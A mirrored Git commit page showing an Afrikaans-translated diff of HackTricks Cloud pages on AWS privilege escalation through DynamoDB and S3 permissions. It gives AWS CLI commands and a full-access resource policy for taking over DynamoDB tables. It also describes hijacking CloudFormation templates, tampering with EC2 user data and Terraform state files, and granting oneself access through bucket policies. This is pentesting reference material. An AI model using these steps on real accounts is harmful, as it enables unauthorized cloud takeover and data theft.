gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-27 05:03:31 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

Browse Source
This commit is contained in:
Translator
2025-01-05 15:21:12 +00:00
parent d212298f58
commit 5ca57f29ed
3 changed files with 128 additions and 44 deletions
Download Patch File Download Diff File Expand all files Collapse all files

51
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
View File

@@ -10,9 +10,58 @@ Vir meer inligting oor dynamodb, kyk:
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### `dynamodb:PutResourcePolicy`, en opsioneel `dynamodb:GetResourcePolicy`
Sedert Maart 2024 bied AWS *hulpbron-gebaseerde beleide* vir DynamoDB aan ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
As jy dus die `dynamodb:PutResourcePolicy` vir 'n tabel het, kan jy jouself of enige ander prinsiep volle toegang tot die tabel gee.
Die toekenning van die `dynamodb:PutResourcePolicy` aan 'n lukrake prinsiep gebeur dikwels per ongeluk, as die admins dink dat die toekenning van `dynamodb:Put*` slegs die prinsiep sou toelaat om items in die databasis te plaas - of as hulle daardie toestemmingset voor Maart 2024 toegeken het...
Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander potensieel belangrike toestemmings oorskryf nie, maar slegs die bygevoegde toestemmings wat jy nodig het:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
As jy nie die huidige beleid kan verkry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou prinsiep verleen:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
As jy dit wil aanpas, hier is 'n lys van alle moontlike DynamoDB aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat toegelaat kan word via 'n hulpbron-gebaseerde beleid *EN watter van hierdie kan gebruik word oor rekeninge (denk data uitvloeiing!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
Nou, met die beleidsdokument `policy.json` gereed, plaas die hulpbronbeleid:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Nou, jy behoort die toestemmings te hê wat jy nodig gehad het.
### Post Exploitation
Soos ek weet, is daar **geen direkte manier om voorregte in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**:
So ver ek weet is daar **geen ander direkte manier om bevoegdhede in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md

27
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
View File

@@ -34,25 +34,38 @@ Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation emmer
]
}
```
En die oorneming is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon opgelaai word** na die emmer tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller mag net 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **oornemings** die **inhoud** van daardie **emmer**.
En die kaping is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon na die emmer opgelaai word** tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller kan eenvoudig 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **kap** die **inhoud** van daardie **emmer**.
![](<../../../images/image (174).png>)
Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\
Die Pacu-module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\
Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3 berging om **konfigurasie lêers** te stoor.\
'n Aanvaller met **lees toegang** tot hulle mag **sensitiewe inligting** daarop vind.\
Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3-stoor om **konfigurasie lêers** te stoor.\
'n Aanvaller met **lees toegang** tot hulle kan **sensitiewe inligting** daarop vind.\
'n Aanvaller met **skryf toegang** tot hulle kan **die data verander om 'n diens te misbruik en probeer om voorregte te verhoog**.\
Hierdie is 'n paar voorbeelde:
Hier is 'n paar voorbeelde:
- As 'n EC2 instance die **gebruikersdata in 'n S3 emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2 instance uit te voer**.
- As 'n EC2-instantie die **gebruikersdata in 'n S3-emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2-instantie uit te voer**.
### `s3:PutObject`, `s3:GetObject` (opsioneel) oor terraform staat lêer
Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) staat lêers in blob stoor van wolkverskaffers gestoor word, bv. AWS S3. Die lêer-suffiks vir 'n staat lêer is `.tfstate`, en die emmername gee dikwels ook weg dat hulle terraform staat lêers bevat. Gewoonlik het elke AWS-rekening een sulke emmer om die staat lêers te stoor wat die staat van die rekening toon.\
Ook gewoonlik, in werklike wêreld rekeninge het amper altyd alle ontwikkelaars `s3:*` en soms selfs besigheidsgebruikers `s3:Put*`.
So, as jy die toestemmings gelys oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pyplyn te verkry met die voorregte van `terraform` - meestal `AdministratorAccess`, wat jou die admin van die wolkrekening maak. Ook kan jy daardie vector gebruik om 'n ontkenning van diens aanval te doen deur `terraform` te laat verwyder legitieme hulpbronne.
Volg die beskrywing in die *Misbruik van Terraform Staat Lêers* afdeling van die *Terraform Sekuriteit* bladsy vir direk bruikbare eksploit kode:
{{#ref}}
terraform-security.md#abusing-terraform-state-files
{{#endref}}
### `s3:PutBucketPolicy`
'n Aanvaller, wat moet wees **van die dieselfde rekening**, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, met hierdie toestemming sal in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om te lees, te skryf, te verander, te verwyder en emmers bloot te stel.
'n Aanvaller, wat **van die dieselfde rekening** moet wees, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, sal met hierdie toestemming in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om te lees, te skryf, te verander, te verwyder en emmers bloot te stel.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>